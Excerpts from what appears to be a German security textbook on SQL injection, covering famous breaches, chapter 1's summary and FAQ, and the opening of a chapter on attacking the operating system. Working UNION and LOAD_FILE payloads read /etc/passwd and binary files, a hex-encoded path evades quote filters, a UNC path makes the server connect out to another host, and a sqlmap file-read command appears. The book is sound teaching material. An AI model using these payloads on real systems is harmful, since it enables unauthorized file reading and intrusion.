• Im Februar 2002 stellte Jeremiah Jacks (www.securityfocus.com/news/346) fest, dass Guess.com durch SQL-Injection angreifbar war. Er verschaffte sich Zugriff auf die Kreditkarten-informationen von mindestens 200.000 Kunden.

• Im Juni 2003 schlug Jeremiah Jacks erneut zu, dieses Mal bei PetCo.com (www.securityfocus.com/news/6194), wo er über die Ausnutzung einer Schwachstelle gegenüber SQL-Injection Zugriff auf die Angaben von 500.000 Kreditkarten erhielt.

• Am 17. Juni 2005 warnte MasterCard einige der Kunden wegen einer Unterwandung des Sicherheitssystems von Card Systems Solutions. Das war damals der bekannteste Einbruch dieser Art. Durch die Ausnutzung einer Anfälligkeit für SQL-Injection erhielt ein Hacker Zugriff auf Angaben zu 40 Millionen Kreditkarten (www.ftc.gov/os/caselist/0523148/0523148complaint.pdf).

• Im Dezember 2005 entdeckte Guidance Software, Entwickler von EnCase, dass ein Hacker die Datenbank mithilfe einer Schwachstelle gegenüber SQL-Injection geknackt hatte. Da-durch waren die Finanzunterlagen von 3800 Kunden offengelegt worden (www. ftc.gov/os/caselist/0623057/ 0623057complaint.pdf).

• Etwa im Dezember 2006 wurde der US-Discounter TJX gehackt. Die Angreifer stahlen die Daten von Millionen von Bezahlkarten aus den TJX-Datenbanken.

• Im August 2007 wurde die Website der Vereinten Nationen (www.un.org) durch einen SQL-Injektionsangriff verunstaltet, bei dem die Angreifer antiamerikanische Parolen veröffent-lichten (http://news.cnet.com/8301-10784_3-9758843-7.html).

• 2008 nutzte das Botnetz Asprox Anfälligkeiten für SQL-Injection für Drive-by-Masseninfi-zierungen mit Schadsoftware, um selbst zu wachsen (http://en.wikipedia.org/wiki/Asprox). Die Anzahl der ausgenutzten Webseiten wird auf 500.000 geschätzt.

• Im Februar 2009 gelang es einer Gruppe rumänischer Hacker angeblich, bei mehreren ge-trennten Aktionen mithilfe von SQL-Injektionsangriffen in die Websites von Kaspersky, F-Secure und Bit Defender einzubrechen. Danach sollen sie noch viele weitere angesehene Websites wie RBS WorldPay, CNET.com, BT.com, Tiscali.co.uk und national-lottery.co.uk gehackt haben.

• Am 17. August 2009 hat das US-Justizministerium den amerikanischen Staatsbürger Albert Gonzalez und zwei nicht namentlich genannte Russen beschuldigt, mithilfe eines SQL-Injektionsangriffs 130 Millionen Kreditkartennummern gestohlen zu haben. Unter den be-troffenen Unternehmen war das Kreditkartenzahlungssystem Heartland Payment Systems, die Einzelhandelskette 7-Eleven und die Supermarktkette Hannaford Brothers.

• Im Februar 2011 fand Anonymous heraus, dass hbgaryfederal.com aufgrund einer Sicher-heitslücke gegenüber SQL-Injection in seinem CMS angreifbar war.


• Im April 2011 stellte sich heraus, dass die Website von Barracuda Networks (barracudanet-works.com) für SQL-Injection anfällig war. Der Hacker, der den Angriff durchführte, stellte Kopien des Datenbankinhalts online – einschließlich der Anmeldeinformationen und Pass-worthashes der CMS-Benutzer!

• Im Mai 2011 drang LulzSec in mehrere Websites von Sony ein (sonypictures .com, Sony-Music.gr und SonyMusic.co.jp) und stellte die Inhalte der Datenbank »aus Spaß« online. LulzSec sagte aus, die Passwörter, E-Mail-Adressen, Postanschriften und Geburtsdaten von einer Million Benutzer gefunden und alle Administratorinformationen von Sony Pictures gestohlen zu haben, einschließlich der Passwörter. Nach einer Pressemitteilung konnte die Gruppe auch auf 75.000 Musiktitel und 3,5 Millionen Musikcoupons zugreifen.

• Im Mai 2011 knackte LulzSec auch die Website des Public Broadcast Service (PBS). Dabei hat die Gruppe mithilfe eines SQL-Angriffs nicht nur zahlreiche SQL-Datenbanken herun-tergeladen, sondern auch eine neue Seite in die PBS-Website eingefügt. LulzSec hat die Be-nutzernamen und Passworthashes der Datenbankadministratoren und Benutzer sowie die Anmeldedaten aller lokalen PBS-Partner einschließlich Klartextpasswörtern veröffentlicht.

• Im Juni 2011 wurde die Fanwebsite von Lady Gaga gehackt. In einer damaligen Meldung hieß es: »Die Hacker bezogen eine Kopie der Inhaltsdatenbank von www.ladygaga.co.uk und griffen auf einen Teil der Datensätze mit E-Mail-Adressen, Vor- und Nachnamen zu. Pass-wörter und Finanzinformationen wurden nicht gestohlen.« (http:// www.mirror.co.uk/ce-lebs/news/2011/07/16/lady-gaga-website-hacked-and-fans-details-stolen-115875-23274356)

Früher haben Hacker eine Website oder Webanwendung hauptsächlich angegriffen, um sich Ansehen bei anderen Hackergruppen zu verschaffen, um ihre politischen Ansichten und Bot-schaften zu verbreiten, um ihre Fähigkeiten (oder »mad skillz« im Jackerjargon) unter Beweis zu stellen oder um sich gegen eine vermeintliche Beleidigung oder Ungerechtigkeit zu wehren. Heute nutzen Angreifer Webanwendungen jedoch eher aus, um sich finanziell zu bereichern. Im Internet sind heute viele Arten von Angreifern mit sehr unterschiedlichen Motiven unter-wegs (ich bin mir sicher, dass jeder, der dieses Buch liest, eine Vorstellung von LulzSec und Anonymous hat!). Die Palette umfasst Personen, die einfach nur durch Interesse an Technik und eine »Hackermentalität« angetrieben werden, in fremde Systeme einzusteigen, aber auch kriminelle Organisationen, die bewusst mögliche Ziele ausspähen, um sich finanziell zu be-reichern, politische Aktivisten, die durch ihre persönlichen Ansichten oder die einer Gruppe motiviert sind, und vergrätzte Systemadministratoren und Angestellte, die ihre Rechte und Möglichkeiten für unterschiedlichste Ziele missbrauchen. Oft ist eine Verwundbarkeit gegen-über SQL-Injection in einer Website oder Webanwendung alles, was ein Angreifer braucht, um sein Ziel zu erreichen.

Seit Anfang 2008 wurden Hunderttausende von Websites durch automatisierte SQL-Injek-tionsangriffe geschädigt (Asprox). Dabei suchte ein Tool im Internet nach Anwendungen mit Schwachstellen und nutzte sie automatisch aus. Der Schadcode bei diesem Exploit führte eine iterative SQL-Schleife aus, die jede von Benutzern erstellte Tabelle in der Datenbank suchte und in allen Textspalten darin ein clientseitiges Schadskript anhängte. Da die meisten datenbank-gestützten Webanwendungen die Inhalte der Datenbanken dazu nutzen, um Webinhalte dyna-


misch aufzubauen, wurde den Benutzern der betroffenen Website oder -anwendung über kurz oder lang das Skript präsentiert. Alle Browser, die die infizierte Webseite luden, wurden durch das Tag angewiesen, ein Schadskript auszuführen, das auf einem Remoteserver untergebracht war. Der Zweck bestand darin, so viele Hosts wie möglich mit Schadsoftware zu infizieren. Die-ser Angriff erwies sich als sehr wirkungsvoll. Wichtige Websites wie die von Regierungsstellen, der Vereinten Nationen und großer Unternehmen wurden durch diesen Massenangriff infiziert. Es lässt sich nur schwer ermitteln, wie viele Clientcomputer und Besucher dieser Websites wiede-rum infiziert wurden, insbesondere da der Schadcode für jeden individuellen Angriff angepasst werden konnte.

Sind Sie schon übernommen worden?Mir könnte das nicht passieren, oder?Mit den Jahren habe ich schon viele Webanwendungen untersucht, und dabei musste ich feststellen, dass jede dritte durch SQL-Injektionsangriffe verwundbar war. Das gilt teilweise auch heute noch, allerdings habe ich das Gefühl, dass ich für mein Geld heute viel härter arbeiten muss. Das kann an einer Reihe von Variablen liegen, die sich nur schwer quantifizieren lassen. Meiner Meinung nach aber haben die Verbesserungen bei der allgemeinen Sicherheit gängiger Entwicklungsframeworks und Maßnahmen zur Fortbildung von Entwicklern dazu beigetragen, dass sich Entwickler sehr anstren-gen, um solche Schwachstellen in ihren Anwendungen zu vermeiden. Zurzeit finde ich Anfälligkeiten für SQL-Injection in Anwendungen, die von unerfahrenen Entwick-lern für neue Technologien und Plattformen geschrieben werden. Das Asprox-Botnet wächst aber nach wie vor! Die Auswirkungen der Schwachstellen unterscheiden sich sehr stark zwischen den Anwendungen und Plattformen, aber die Schwachstellen sind auch heute noch in vielen Anwendungen vorhanden. Viele Anwendungen werden in ungeschützten Umgebungen wie dem Internet eingerichtet, ohne auf Schwachstellen untersucht zu werden. Die Verunstaltung einer Website ist eine sehr auffällige Aktion, die gewöhnlich von »Skript Kiddies« durchgeführt wird, um Punkte zu sammeln und die Anerkennung anderer Hackergruppen zu finden. Ernster zu nehmende Hacker mit einer stärkeren Motivation wollen die Aufmerksamkeit nicht auf sich ziehen. Es ist durchaus möglich, dass solche anspruchsvollen und fähigen Angreifer eine Schwach-stelle gegenüber SQL-Injection ausnutzen, um Zugriff auf verbundene Systeme zu be-kommen und sie zu missbrauchen. Ich musste meine Kunden mehr als einmal darüber informieren, dass ihre Systeme bereits geknackt wurden und von Hackern aktiv für illegale Tätigkeiten genutzt wurden. Manche Organisationen und Websitebenutzer er-fahren vielleicht niemals, dass ihre Systeme ausgenutzt wurden oder dass Hacker eine Hintertür zu ihren Systemen eingebaut haben.


In einer MySQL-Datenbank ist es nicht möglich, den Zugriff auf die virtuelle Datenbank INFORMATION_SCHEMA zu verbergen oder zu widerrufen. Das Gleiche gilt auch für den Zugriff auf das Datendictionary in einer Oracle-Datenbank, da es sich dabei um eine Sicht handelt. Sie können die Sicht zwar ändern, um den Zugriff einzuschränken, doch Oracle rät davon ab. In einer Microsoft SQL Server-Datenbank lässt sich der Zugriff auf INFORMATION_SCHEMA-, system- und sys.*-Tabellen einschränken. Allerdings ist es möglich, dass dann einige Daten-bankfunktionen nicht mehr richtig laufen oder dass es bei einigen Anwendungen zu Prob-lemen bei der Interaktion mit der Datenbank kommt. Eine bessere Vorgehensweise besteht darin, für den Datenbankzugriff der Anwendung das Prinzip der geringstmöglichen Rechte einzusetzen und die verschiedenen funktionalen Anforderungen der Anwendung jeweils auf Rollen mit den entsprechenden Rechten aufzuteilen.

1.5 Zusammenfassung

In diesem Kapitel haben Sie einige der Umstände kennengelernt, die zu Anfälligkeiten für SQL-Injektionsangriffe führen, etwa das Design und die Architektur von Anwendungen, das Verhal-ten von Entwicklern und die Programmiermuster zum Schreiben der Anwendung. Des Weiteren haben Sie die häufig anzutreffende n-schichtige Architektur für Webanwendungen kennenge-lernt, bei der die Interaktion mit der Speicherschicht, die die Datenbank enthält, gewöhnlich über Datenbankabfragen aus einer anderen Schicht verfügt. Diese Abfragen enthalten oft auch vom Benutzer eingegebene Informationen. Wir haben die dynamische Stringerstellung (dyna-misches SQL) besprochen, bei der die SQL-Abfragen durch Stringverkettung zusammengestellt werden, wobei auch vom Benutzer beigesteuerte Eingaben eingebaut werden. Dies macht SQL-Injektionsangriffe möglich, bei denen die Angreifer die Logik und Struktur der SQL-Abfrage ändern, um ganz andere Datenbankbefehle auszuführen, als die Entwickler vorgesehen haben.

In den folgenden Kapiteln wird SQL-Injection eingehender besprochen. Dabei geht es darum, wie Sie Anfälligkeiten für SQL-Injection aufspüren können (Kapitel 2 und 3), wie SQL-Injekti-onsangriffe ablaufen und was damit erreicht werden kann (Kapitel 4 bis 7), wie Sie sich dagegen schützen können (Kapitel 8 und 9) und wie Sie herausfinden können, ob Ihr System angegriffen wurde, und was Sie im Fall eines erfolgreichen Angriffs tun können (Kapitel 10). In Kapitel 11 finden Sie eine Reihe praktischer Quellen, Hinweise und Spickzettel, mit deren Hilfe Sie schnell die Informationen finden können, die Sie suchen.

Lesen Sie die Beispiele in diesem Kapitel noch einmal genau und versuchen Sie sie nachzuvoll-ziehen, um Ihre Kenntnisse darüber zu vertiefen, was SQL-Injection ist und wie sie abläuft. Mit diesem Wissen haben Sie schon einen großen Schritt getan, um Anfälligkeiten für solche Angriffe in der Praxis zu finden, auszunutzen oder zu reparieren.

53 1.6 Schneller Überblick

1.6 Schneller Überblick

1.6.1 Wie funktionieren Webanwendungen?

• Webanwendungen zeichnen sich dadurch aus, dass die Benutzer mithilfe eines Webbrow-sers über ein Netzwerk wie das Internet oder ein Intranet darauf zugreifen. Es handelt sich um Softwareanwendungen, die in einer vom Browser unterstützten Sprache (wie HTML, JavaScript, Java usw.) geschrieben sind und in einem Webbrowser dargestellt werden.

• Einfache dynamische, datenbankgestützte Webanwendungen bestehen gewöhnlich aus einer Back-End-Datenbank sowie Webseiten, die ein serverseitiges Skript enthalten. Geschrieben ist dieses Skript in einer Programmiersprache, mit der aufgrund verschiedener dynamischer Interaktionen bestimmte Informationen aus der Datenbank abgerufen werden können.

• Einfache dynamische, datenbankgestützte Webanwendungen bestehen gewöhnlich aus drei Schichten: der Präsentationsschicht (ein Webbrowser oder eine Render-Engine), die Logik-schicht (eine Programmiersprache wie C#, ASP, .NET, PHP, JSP usw.) und eine Speicher-schicht (eine Datenbank wie Microsoft SQL Server, MySQL, Oracle usw.). Der Webbrowser (die Präsentationsschicht, z. B. Internet Explorer, Safari, Firefox usw.) sendet Anforderungen an die mittlere Schicht (Logikschicht), die wiederum zur Erfüllung dieser Anforderungen Abfragen und Aktualisierungen an der Datenbank (Speicherschicht) vornimmt.

1.6.2 Wie funktioniert SQL-Injection?

• SQL-Injection ist ein Angriff, bei dem SQL-Code in Eingabeparameter der Anwendung oder des Benutzers eingefügt oder daran angehängt und dann an den SQL-Back-End-Server übergeben wird, wo er geparst und ausgeführt wird.

• Bei der häufigsten Form der SQL-Injection wird Code direkt in die Parameter eingefügt, die mit SQL-Befehlen verkettet und ausgeführt werden.

• Wenn ein Angreifer eine SQL-Anweisung ändern kann, so läuft der Vorgang mit den Be-rechtigungen der Komponente ab, die den Befehl ausführt (z. B. mit den Berechtigungen des Datenbank-, Anwendungs- oder Webservers). Diese Komponenten haben häufig hohe Berechtigungen.


1.6.3 Wie kann das passieren?

• Schwachstellen, die durch SQL-Injection ausgenutzt werden können, treten meistens auf, wenn die Entwickler der Webanwendung versäumen, die von einem Webformular, einem Cookie, einem Eingabeparamter usw. empfangenen Werte zu validieren oder zu codieren, bevor sie an die auf dem Datenbankserver auszuführenden SQL-Abfragen übergeben wer-den.

• Wenn ein Angreifer die Eingaben, die an eine SQL-Abfrage gesendet werden, so manipulie-ren kann, dass die Daten nicht mehr als Daten interpretiert werden, sondern als Code, dann kann er möglicherweise auch Code in der Back-End-Datenbank ausführen lassen.

• Wenn Entwickler keine gründlichen Kenntnisse der zugrundeliegenden Datenbank und kein Bewusstsein für die möglichen Gefahren haben, die der von ihnen geschriebene Code bietet, produzieren sie oft unsichere Anwendungen, die anfällig für SQL-Injection sind.

1.7 Häufig gestellte Fragen

F: Was ist SQL-Injection?

A: SQL-Injection ist eine Angriffstechnik, bei der Schwachstellen im Code ausgenutzt werden, um Eingaben zu manipulieren und damit an das Back-End gesendete SQL-Anweisungen zu ändern.

F: Sind alle Datenbanken anfällig für SQL-Injection?

A: Die meisten Datenbanken sind anfällig, allerdings in sehr unterschiedlichem Grade.

F: Welche Auswirkungen hat eine Anfälligkeit für SQL-Injection?

A: Das hängt von vielen Faktoren ab. Im Allgemeinen kann ein Angreifer Daten in der Daten-bank manipulieren, weit mehr Daten abrufen, als die Anwendung normalerweise zulässt, und möglicherweise sogar Betriebssystembefehle auf dem Datenbankserver ausführen.

F: Ist SQL-Injection ein neues Phänomen?

A: Nein, wahrscheinlich hat es das schon gegeben, seit zum ersten Mal SQL-Datenbanken mit Webanwendungen verbunden wurden. An die Öffentlichkeit gebracht wurde dieses Prob-lem jedoch erstmals Weihnachten 1998.

55 1.7 Häufig gestellte Fragen

F: Wie ist es möglich, dass Code ausgeführt wird, nur weil jemand seinen Eingaben ein einfa-ches Anführungszeichen voranstellt?

A: SQL-Datenbanken interpretieren das Anführungszeichen als Trennzeichen zwischen Code und Daten. Daher gehen sie davon aus, dass alles, was innerhalb der Anführungszeichen steht, Daten sind, und alles, was darauf folgt, Code ist.

F: Sind Websites sicher vor SQL-Injection, wenn die Eingabe des Anführungszeichens unter-sagt wird?

A: Nein. Es gibt unzählige Möglichkeiten, das Anführungszeichen so zu codieren, dass es trotz-dem als Eingabe akzeptiert wird, und bei manchen SQL-Injection-Techniken wird dieses Zeichen überhaupt nicht verwendet. Angreifern stehen neben dem Anführungszeichen auch mehrere andere Zeichen zur Verfügung, beispielsweise der doppelte senkrechte Strich (||) und das doppelte Anführungszeichen (").

F: Sind Websites sicher vor SQL-Injection, wenn die GET-Methode nicht verwendet wird?

A: Nein, POST-Parameter lassen sich genauso einfach manipulieren.

F: Meine Anwendung ist in HPH/ASP/Perl/.NET/Java/usw. geschrieben. Ist diese Sprache immun?

A: Nein. Alle Programmiersprachen, bei denen die Eingaben vor der Übergabe an dynamisch erstellte SQL-Anweisungen nicht validiert werden, ist potenziell gefährdet, zumindest sofern keine parametrisierten Abfragen und gebundene Variablen verwendet werden.

6Das Betriebssystem angreifen

Sumit Siddharth

6.1 Einführung

In Kapitel 1 wurde bereits die Idee erwähnt, Funktionen in der Datenbank für den Zugriff auf Teile des Betriebssystems zu nutzen. Die meisten Datenbanksysteme werden mit sehr vielen nützlichen Funktionen für Datenbankprogrammierer geliefert. Darunter befinden sich auch Schnittstellen für die Interaktion mit dem Datenbanksystem oder für dessen Erweiterung um eigene Funktionen.

In einigen Fällen, insbesondere bei Microsoft SQL Server und Oracle, ist das für Sicherheits-forscher, die in diesen Systemen nach Bugs Ausschau halten, zu einem reichhaltigen Jagdgebiet geworden. Viele dieser Funktionen können auch als Angriffswege für die SQL-Injection genutzt werden, wobei sich einige für einen Angreifer wirklich als nützlich erweisen (um Dateien zu lesen und zu schreiben), während andere zwar lustig, aber für ernsthafte Zwecke unbrauchbar sind (etwa die Möglichkeit, den Datenbankserver zum Sprechen zu bringen).

376 6 Das Betriebssystem angreifen

In diesem Kapitel sehen wir uns, wie wir auf das Dateisystem zugreifen können, um ernsthafte Aufgaben wie das Lesen von Daten und das Hochladen von Dateien auszuführen. Wir bespre-chen auch einige Techniken, um beliebige Befehle im zugrunde liegenden Betriebssystem aus-zuführen. Damit kann ein Angreifer seinen Einfluss von der Datenbank aus weiter ausdehnen, um einen weit umfassenderen Angriff auszuführen.

Zunächst wollen wir uns jedoch überlegen, warum sich überhaupt jemand die Mühe machen sollte, so tief in das Kaninchenloch einzudringen. Die vordergründige Antwort darauf ist natürlich das alte Klischee: »Weil es da ist!« Aber abgesehen von diesem Gemeinplatz gibt es tatsächlich verschiedene Gründe, aus denen jemand SQL-Injection für den Angriff auf das Hostsystem einsetzen möchte.

Beispielsweise kann ein Angriff auf den Host seine Reichweite weiter ausdehnen. Mit der Über-nahme einer einzigen Anwendung kann er seinen Einfluss auch auf andere Hosts in der Nähe des Datenbankservers erweitern. Die Möglichkeit, den übernommenen Datenbankserver aus Ausgangspunkt für weitere Angriffe zu nutzen, ist vielversprechend, insbesondere da sich Da-tenbankserver gewöhnlich tief im Netzwerk und in einer an Zielen reichen Umgebung befinden.

Werkzeuge und FallstrickeDie Notwendigkeit erhöhter RechteIn Kapitel 4 haben wir die Methoden besprochen, mit denen jemand seine Rechte durch SQL-Injektionsangriffe erhöhen kann. Bei vielen der Angriffe, bei denen es dar-um geht, das Betriebssystem zu übernehmen, ist es erforderlich, dass der SQL-Benutzer über erhöhte Rechte verfügt. Früher war dies nicht notwendig, denn das Prinzip der geringstmöglichen Berechtigungen war damals nicht weit verbreitet, weshalb alle An-wendungen, die Verbindung mit der Back-End-Datenbank aufnahmen, über die vollen Rechte eines Datenbank- und Systemadministrators verfügten. Daher bieten die meis-ten Tools zur automatischen SQL-Injection die Möglichkeit, die Rechte des Benutzers festzustellen, und sie von denen eines gewöhnlichen Datenbankbenutzers auf die eines Superusers zu erhöhen.

SQL-Injection als eine Möglichkeit, den Host anzugreifen, ist auch deshalb attraktiv, weil der Angreifer dadurch die seltene Gelegenheit bekommt, in die Lücke zwischen herkömmlichen, nicht authentifizierten auf der einen und authentifizierten Angriffen auf der anderen Seite zu schlüpfen. Überforderte System- und Datenbankadministratoren legen die Prioritäten für Pat-ches gewöhnlich danach fest, ob eine Schwachstelle von einem anonymen Benutzer ausgenutzt werden kann. Absicherungen gegen Exploits, für die der Benutzer authentifiziert werden muss, werden oft aufgeschoben, während sich die Administratoren um andere, dringendere Proble-me kümmern. Ein Angreifer, der eine Anfälligkeit für SQL-Injection ausnutzt, hat jedoch nicht mehr die Rolle eines nicht authentifizierten, anonymen Benutzers, sondern die eines authenti-fizieren Benutzers, den die Anwendung für die Datenbankverbindung nutzt. Diese Fälle sehen wir uns sowohl in diesem Kapitel als auch in Kapitel 7 an.

377 6.2 Zugriff auf das Dateisystem

6.2 Zugriff auf das Dateisystem

Der Zugriff auf das Dateisystem des Hosts, auf dem das Datenbankmanagementsystem läuft, bietet einem Angreifer viele vielversprechende Gelegenheiten. In manchen Fällen ist dies der erste Schritt für den Angriff auf das Betriebssystem (etwa um gespeicherte Anmeldeinfor-mationen auf dem Computer zu finden). Es kann aber auch einfach der Versuch sein, die Autorisierungsmaßnahmen der Datenbank auszuhebeln (beispielsweise speichert MySQL die Datenbankdateien gewöhnlich in ASCII-Textdateien im Dateisystem, sodass es möglich ist, die Datenbankinhalte durch einfaches Lesen der Datei in Erfahrung zu bringen, ohne vom Daten-banksystem dafür autorisiert zu sein).

6.2.1 Dateien lesen

Für einen einfallsreichen Angreifer bietet die Möglichkeit, beliebige Dateien auf dem Host zu lesen, auf dem das Datenbankmanagementsystem ausgeführt wird, viele interessante Gelegen-heiten. Die Frage: »Welche Dateien soll ich lesen?«, beschäftigt Angreifer schon seit langem. Natürlich hängt die Antwort darauf vornehmlich von den Zielen des Angreifers ab. Manchen Angreifern geht es darum, Dokumente oder Binärdateien vom Host zu stehlen, während andere Anmeldeinformationen zu finden hoffen, um den Angriff noch weiter auszudehnen. Unabhän-gig von der Zielsetzung möchte ein Angreifer jedoch in der Lage sein, sowohl ASCII-Text als auch Binärdateien zu lesen.

Die zweite Frage, die naturgemäß folgt, lautet: »Wie kann ein Angreifer die Dateien einsehen, nachdem er das Datenbanksystem dazu gebracht hat, sie zu lesen?« In diesem Kapitel sehen wir uns zwar einige Antworten auf diese Frage an, doch wurden diese Methoden schon ausführlich in Kapitel 4 und 5 erörtert. Kurz gesagt, geht es in diesem Abschnitt darum, wie ein Angreifer die Inhalte des Dateisystems mithilfe einer SQL-Abfrage einsehen kann. Der eigentliche Abruf der Daten ist dann ein anderes Problem.

MySQL

Mit den Befehlen LOAD DATE INFILE und LOAD_FILE MySQL bietet eine oft missbrauchte Funk-tion, mit der eine Textdatei in die Datenbank eingelesen werden kann. Das aktuelle MySQL-Handbuch sagt: »Die Anweisung LOAD DATE INFILE liest die Zeilen einer Textdatei mit sehr hoher Geschwindigkeit in eine Tabelle ein. Der Dateiname muss als Literalstring übergeben werden.«

Sehen wir uns zunächst die vorgesehene Nutzung des Befehls LOAD DATE FILE an.

Als Erstes erstellen wir dazu die einfache Textdatei users.txt:


cat users.txt Sumit Siddharth [email protected] 1 Dafydd Stuttard [email protected] 1 Dave Hartley [email protected] 1 Rodrigo Marcos [email protected] 1 Gary Oleary-Steele [email protected] 1 Erlend Oftedal [email protected] 1 Marco Slaviero [email protected] 1 Alberto Revelli [email protected] 1 Alexander Kornbrust [email protected] 1 Justin Clarke [email protected] 1 Kevvie Fowler [email protected] 1

Danach führen wir in der MySQL-Konsole den folgenden Befehl aus, um eine Tabelle zur Auf-nahme der Autorenangaben zu erstellen:

mysql> create table authors (fname char(50), sname char(50), email char(100),flag int); Query OK, 0 rows affected (0.01 sec)

Nun können wir die Tabelle mithilfe des folgenden Befehls füllen:

mysql> load data infile '/tmp/users.txt' into table authors fields terminated by ''; Query OK, 11 rows affected (0.00 sec) Records: 11 Deleted: 0 Skipped: 0 Warnings: 0

Wenn wir danach die Tabelle auswählen, können wir erkennen, dass die Textdatei komplett in die Datenbank importiert wurde:

mysql> select * from authors; +-----------+---------------+--------------------------------+------+ | fname | sname | email | flag | +-----------+---------------+--------------------------------+-- --+ | Sumit | Siddharth | [email protected] | 1 | | Dafydd | Stuttard | [email protected] | 1 | | Dave | Hartley | [email protected] | 1 | | Rodrigo | Marcos | [email protected] | 1 | | Gary | Oleary-Steele | [email protected] | 1 | | Erlend | Oftedal | [email protected] | 1 | | Marco | Slaviero | [email protected] | 1 | | Alberto | Revelli | [email protected] | 1 | | Alexander | Kornbrust | [email protected] | 1 | | Justin | Clarke | [email protected] | 1 | | Kevvie | Fowler | [email protected] | 1 | +-----------+---------------+--------------------------------+------+ 11 rows in set (0.00 sec)


Um den Vorgang zu beschleunigen, gibt es in MySQL auch die Funktion LOAD_FILE, die es uns ermöglicht, auf das vorherige Erstellen der Tabelle zu verzichten, und die gleich die Ergebnisse liefert:

mysql> select LOAD_FILE('/tmp/test.txt'); +---------------------------------------------------------------------+ | LOAD_FILE('/tmp/test.txt') | +---------------------------------------------------------------------+ | Dies ist eine beliebige Datei irgendwo im Dateisystem. Sie kann mehrere Zeilen aufweisen und es spielt keine Rolle, wie viele Zeilen sie enthält ... | +---------------------------------------------------------------------+ 1 row in set (0.00 sec)

Da es in diesem Buch um SQL-Injection geht, wollen wir uns ansehen, wie dies in einer injizierten SQL-Anweisung funktioniert. Als Beispiel verwenden wir eine fiktive, angreifbare Intranetsite, in der ein Benutzer nach Kunden suchen kann (siehe Abbildung 6.1).

Diese Website ist anfällig für Injektion. Da sie Ausgaben direkt an den Browser zurückgibt, ist sie ein guter Kandidat für die Anwendung von UNION-Anweisungen. Der Anschaulichkeit halber gibt die Website auch die generierte SQL-Anweisung als Debug-Meldung aus. Abbildung 6.2 zeigt die Ergebnisse einer einfachen Suche nach a.

Abbildung 6.1: Ein Beispiel für eine angreifbare Intranetanwendung


Abbildung 6.2: Die Suche nach »a«

Wir wollen nun den zuvor besprochenen Befehl LOAD_FILE verwenden. Dabei verwenden wir den Operator UNION, um die für alle Welt lesbare Datei /etc/passwd zu lesen:

' union select LOAD_FILE('/etc/passwd')#

Dadurch erhalten wir die bekannte Fehlermeldung, dass für den Operator UNION in beiden Ab-fragen die gleiche Anzahl von Spalten erforderlich ist:

DBD::mysql::st execute failed: The used SELECT statements have a different number of columns at...

Wenn wir der UNION-Abfrage eine zweite Spalte hinzufügen und folgenden Code übermitteln, haben wir gewonnen:

' union select NULL,LOAD_FILE('/etc/passwd')#

Das funktioniert wie erwartet. Wie Abbildung 6.3 zeigt, gibt der Server mit dem Inhalt der an-geforderten Datei alle Benutzer in der Datenbank zurück:


Abbildung 6.3: Lesen von /etc/passwd in der Datenbank

Um auf diese Weise auf das Dateisystem zugreifen zu können, muss der Datenbankbenutzer über Dateiberechtigungen verfügen, und die Datei muss für alle Welt lesbar sein. Die Syntax von LOAD_FILE macht es notwendig, ein einfaches Anführungszeichen (') zu verwenden, was manchmal zu einem Problem führt, wenn die Anwendung potenziell schädliche Zeichen aus-filtert. In seinem Artikel »HackProofing MySQL« hat Chris Anley von NGS Software deutlich gemacht, dass die Möglichkeit, Stringliterale in MySQL durch hexcodierte Strings zu ersetzen, was bedeutet, dass die folgenden beiden Anweisungen identisch sind:

select 'c:/boot.ini' select 0x633a2f626f6f742e696e69

Weitere Informationen über solche Codierungsangriffe erhalten Sie in Kapitel 7.

Die Funktion LOAD_FILE kann auch Binärdateien handhaben, ohne dass sich der Benutzer um die Einzelheiten kümmern muss. Daher können wir diese Funktion mit ein wenig Raffinesse auch nutzen, um Binärdateien von einem Host zu lesen:


mysql> create table foo (line blob); Query OK, 0 rows affected (0.01 sec) mysql> insert into foo set line=load_file('/tmp/temp.bin'); Query OK, 1 row affected (0.00 sec) mysql> select * from foo; +--------+ | line | +--------+ | AA??A | +--------+ 1 row in set (0.00 sec)

Natürlich können die Binärdaten nicht angezeigt werden, was sie für uns unbrauchbar macht. Allerdings kommt uns MySQL hier mit der mitgelieferten Funktion HEX() zu Hilfe:

mysql> select HEX(line) from foo; +--------------+ | HEX(line) | +--------------+ | 414190904112 | +--------------+ 1 row in set (0.00 sec)

Wir können auch den Befehl LOAD_FILE in die Funktion HEX() aufnehmen. Damit ist es möglich, über die angreifbare Intranetanwendung Binärdateien im Dateisystem des Ziels zu lesen:

' union select NULL,HEX(LOAD_FILE('/tmp/temp.bin'))#

Abbildung 6.4: Binärdateien lesen


Das Ergebnis dieser Abfrage sehen Sie in Abbildung 6.4

Um die Binärdatei in mehrere Teile zu zerlegen und damit mögliche Einschränkungen der An-wendung zu überwinden, können Sie die Teilstringfunktion verwenden.

LOAD_FILE() akzeptiert auch UNC-Pfade (Universal Naming Convention), womit ein unterneh-mungslustiger Angreifer auch nach Dateien auf anderen Computern suchen und den MySQL-Server sogar dazu bringen kann, eine Verbindung zum Rechner des Angreifers aufzunehmen:

mysql> select load_file('//172.16.125.2/temp_smb/test.txt'); +----------------------------------------------------------+ | load_file('//172.16.125.2/temp_smb/test.txt') | +----------------------------------------------------------+ | Dies ist eine Datei auf einem weit entfernten Server ... | +----------------------------------------------------------+ 1 row in set (0.52 sec)

Das Programm Sqlmap von Bernardo Damele A. G. (http://sqlmap.sourceforge.net) bietet diese Funktion über die Befehlszeilenoption --read-file:

python sqlmap.py -u "term=a"http://intranet/cgi-bin/ customer.pl?Submit=Submit&term=a" --read-file /etc/passwd

Microsoft SQL Server

Microsoft SQL Server gehört zu den Vorzeigeprodukten im SDL-Prozess von Microsoft (Se-curity Development Lifecycle), allerdings hat es im Hinblick auf SQL-Injection immer noch einen verdientermaßen schlechten Ruf. Das liegt teilweise daran, dass es unter Neulingen in der Datenbankentwicklung sehr beliebt ist (was ein Zeichen dafür ist, wie sehr Microsoft die Arbeit dieser Entwickler erleichtert), teilweise aber auch daran, dass in SQL Server Stapelab-fragen zulässig sind. Die Anzahl der Möglichkeiten, die Angreifern zur Verfügung stehen, steigt durch solche Abfragen exponentiell, was sich an den Auswirkungen einer Injektion an einem SQL Server-System zeigt. Schon allein SensePost hat Tools konstruiert, mit denen es möglich ist, über einen Injektionspunkt DNS-Tunnel, Verbindungen zu Dateiservern und selbst TCP-Verbindungsproxys aufzubauen.

Aber wir wollen ganz vorn anfangen und versuchen, eine angreifbare Webanwendung zum Lesen einer Datei von einem SQL Server-Computer zu nutzen. In diesem Fall nutzt ein An-greifer, der sich die Rechte eines Systemadministrators verschafft hat, gewöhnlich als Erstes die Anweisung BULK INSERT


